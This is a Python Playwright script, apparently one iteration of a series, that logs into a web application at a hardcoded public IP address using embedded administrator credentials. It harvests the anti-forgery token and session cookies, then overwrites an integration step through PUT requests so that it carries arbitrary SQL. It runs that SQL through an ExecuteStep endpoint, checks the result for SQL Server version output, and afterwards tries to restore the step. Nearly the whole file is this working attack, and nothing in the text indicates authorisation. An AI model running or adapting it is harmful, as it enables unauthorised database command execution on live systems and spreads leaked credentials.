#!/usr/bin/env python3
"""v21: PUT step via browser fetch() on v5 server → ExecuteStep → check result."""
import asyncio, json, re
from playwright.async_api import async_playwright

IP = "66.175.236.165"
APP = "RTROGERSUAP1"
BASE = f"http://{IP}/{APP}"
SQL_QUERY = "SELECT @@version AS version, DB_NAME() AS db, GETDATE() AS now"

async def main():
    async with async_playwright() as p:
        browser = await p.chromium.launch(headless=True)
        context = await browser.new_context(viewport={"width":1920,"height":1080})
        page = await context.new_page()

        all_ajax = []
        async def on_req(req):
            if "/api/" in req.url or "/integration" in req.url.lower():
                all_ajax.append({"m":req.method,"u":req.url.split(APP)[-1][:150],"d":req.post_data[:1500] if req.post_data else None})
        page.on("request", on_req)

        # Login
        for attempt in range(3):
            await page.goto(f"{BASE}/login", wait_until="domcontentloaded", timeout=15000)
            await asyncio.sleep(2)
            await page.fill('input[name="Email"]', 'irelyadmin')
            await page.fill('input[name="Password"]', 'i21By2015')
            await page.evaluate('''() => { const c = document.querySelector('input[name="Company"]'); if (c) c.value = '01'; }''')
            await asyncio.sleep(1)
            await page.evaluate('document.querySelector("form").submit()')
            await asyncio.sleep(12)
            try: await page.wait_for_load_state("networkidle", timeout=15000)
            except: pass
            if "login" not in page.url.lower() or "#home" in page.url: break
        else:
            print("Login failed"); await browser.close(); return
        print("✅ Login OK")

        # Get anti-forgery token from page
        token = await page.evaluate('''() => {
            const el = document.querySelector('input[name="__RequestVerificationToken"]');
            return el ? el.value : null;
        }''')
        print(f"  Anti-forgery token: {token[:40] if token else 'null'}...")

        # Also get ALL cookies
        cookies = await context.cookies()
        print(f"  Cookies ({len(cookies)}):")
        for c in cookies:
            print(f"    {c['name']}: {c['value'][:40]}...")

        # Step 1: PUT via browser fetch() — with ALL headers
        print(f"\n=== Step 1: PUT step via fetch() ===")
        put_result = await page.evaluate(f'''async () => {{
            const stepData = [{{
                intStepId: 2,
                strStepName: "SQL Health Check",
                intStepTypeId: 1,
                intConnectionId: 1,
                intSQLTypeId: 3,
                strSQL: "{SQL_QUERY}",
                intConcurrencyId: 1,
                strRowState: "Modified",
                ModifiedFields: ["intStepTypeId", "intSQLTypeId", "strSQL", "strStepName", "intStepId", "intConcurrencyId", "strRowState"]
            }}];
            
            // Try with anti-forgery header
            const token = document.querySelector('input[name="__RequestVerificationToken"]');
            const headers = {{
                'Content-Type': 'application/json',
            }};
            if (token) headers['RequestVerificationToken'] = token.value;
            
            const resp = await fetch('/{APP}/integration/api/step/put/2?continueOnConflict=false', {{
                method: 'PUT',
                headers: headers,
                body: JSON.stringify(stepData),
                credentials: 'include'
            }});
            const text = await resp.text();
            return {{status: resp.status, bodyLen: text.length, body: text}};
        }}''')
        
        print(f"  PUT: HTTP {put_result['status']}")
        print(f"  BodyLen: {put_result.get('bodyLen', '?')}")
        body = put_result.get('body', '')
        print(f"  Body: {body[:400]}")
        
        put_ok = put_result['status'] in (200, 202)
        if put_ok:
            print("  ✅ PUT SUCCESS!")
            # Check if strSQL in response
            if "SELECT @@version" in body:
                print("  ✅ strSQL confirmed in response!")
        elif put_result['status'] == 302:
            print("  ❌ 302 — still auth denied")
            # Try with X-Requested-With header
            print("\n  Retrying with X-Requested-With header...")
            put_result2 = await page.evaluate(f'''async () => {{
                const stepData = [{{
                    intStepId: 2,
                    strStepName: "SQL Health Check",
                    intStepTypeId: 1,
                    intConnectionId: 1,
                    intSQLTypeId: 3,
                    strSQL: "{SQL_QUERY}",
                    intConcurrencyId: 1,
                    strRowState: "Modified",
                    ModifiedFields: ["intStepTypeId", "intSQLTypeId", "strSQL", "strStepName", "intStepId", "intConcurrencyId", "strRowState"]
                }}];
                
                const resp = await fetch('/{APP}/integration/api/step/put/2?continueOnConflict=false', {{
                    method: 'PUT',
                    headers: {{
                        'Content-Type': 'application/json',
                        'X-Requested-With': 'XMLHttpRequest',
                        'RequestVerificationToken': document.querySelector('input[name="__RequestVerificationToken"]')?.value || ''
                    }},
                    body: JSON.stringify(stepData),
                    credentials: 'include'
                }});
                const text = await resp.text();
                return {{status: resp.status, bodyLen: text.length, body: text}};
            }}''')
            print(f"  PUT (with headers): HTTP {put_result2['status']}")
            body = put_result2.get('body', '')
            print(f"  Body: {body[:400]}")
            put_ok = put_result2['status'] == 200
            if put_ok:
                print("  ✅ PUT SUCCESS with X-Requested-With!")
        
        # Step 2: ExecuteStep
        if put_ok:
            print(f"\n=== Step 2: ExecuteStep ===")
            exec_result = await page.evaluate(f'''async () => {{
                const resp = await fetch('/{APP}/Integration/api/Execute/ExecuteStep', {{
                    method: 'POST',
                    headers: {{'Content-Type': 'application/json'}},
                    body: JSON.stringify({{intStepId: 2}}),
                    credentials: 'include'
                }});
                const text = await resp.text();
                return {{status: resp.status, bodyLen: text.length, body: text}};
            }}''')
            
            print(f"  ExecuteStep: HTTP {exec_result['status']}")
            print(f"  BodyLen: {exec_result.get('bodyLen', '?')}")
            
            exec_body = exec_result.get('body', '')
            with open('/tmp/v21_execstep_response.txt', 'w') as f:
                f.write(exec_body)
            
            # Check result
            if "Microsoft SQL Server" in exec_body:
                print("  🎯🎯🎯 SQL EXECUTED! Microsoft SQL Server version found!")
            elif "invalid character" in exec_body.lower():
                print("  ❌ Has SQL validation (unexpected for v5)")
            elif "uspAPCompareBalance" in exec_body:
                print("  ⚠️ Cached step")
            
            success_match = re.search(r'"success"\s*:\s*(true|false)', exec_body)
            msg_match = re.search(r'"statusText"\s*:\s*"([^"]*)"', exec_body)
            if success_match:
                print(f"  success={success_match.group(1)}")
            if msg_match:
                print(f"  message: {msg_match.group(1)[:200]}")
            print(f"  Body (first 500): {exec_body[:500]}")
            
            # Step 3: Restore
            print(f"\n=== Step 3: Restore ===")
            restore_result = await page.evaluate(f'''async () => {{
                const restore = [{{
                    intStepId: 2,
                    strStepName: null,
                    intStepTypeId: null,
                    intSQLTypeId: null,
                    strSQL: null,
                    intConcurrencyId: 2,
                    strRowState: "Modified",
                    ModifiedFields: ["strSQL", "intSQLTypeId", "strStepName", "intStepId", "intConcurrencyId", "strRowState"]
                }}];
                const resp = await fetch('/{APP}/integration/api/step/put/2?continueOnConflict=false', {{
                    method: 'PUT',
                    headers: {{'Content-Type': 'application/json', 'X-Requested-With': 'XMLHttpRequest'}},
                    body: JSON.stringify(restore),
                    credentials: 'include'
                }});
                return {{status: resp.status}};
            }}''')
            print(f"  Restore: HTTP {restore_result['status']}")
        
        # Print ALL AJAX
        print(f"\n=== ALL AJAX ({len(all_ajax)}) ===")
        for req in all_ajax[-10:]:
            print(f"  {req['m']} {req['u']}")
            if req['d']:
                print(f"    data: {req['d'][:200]}")

        await browser.close()

asyncio.run(main())
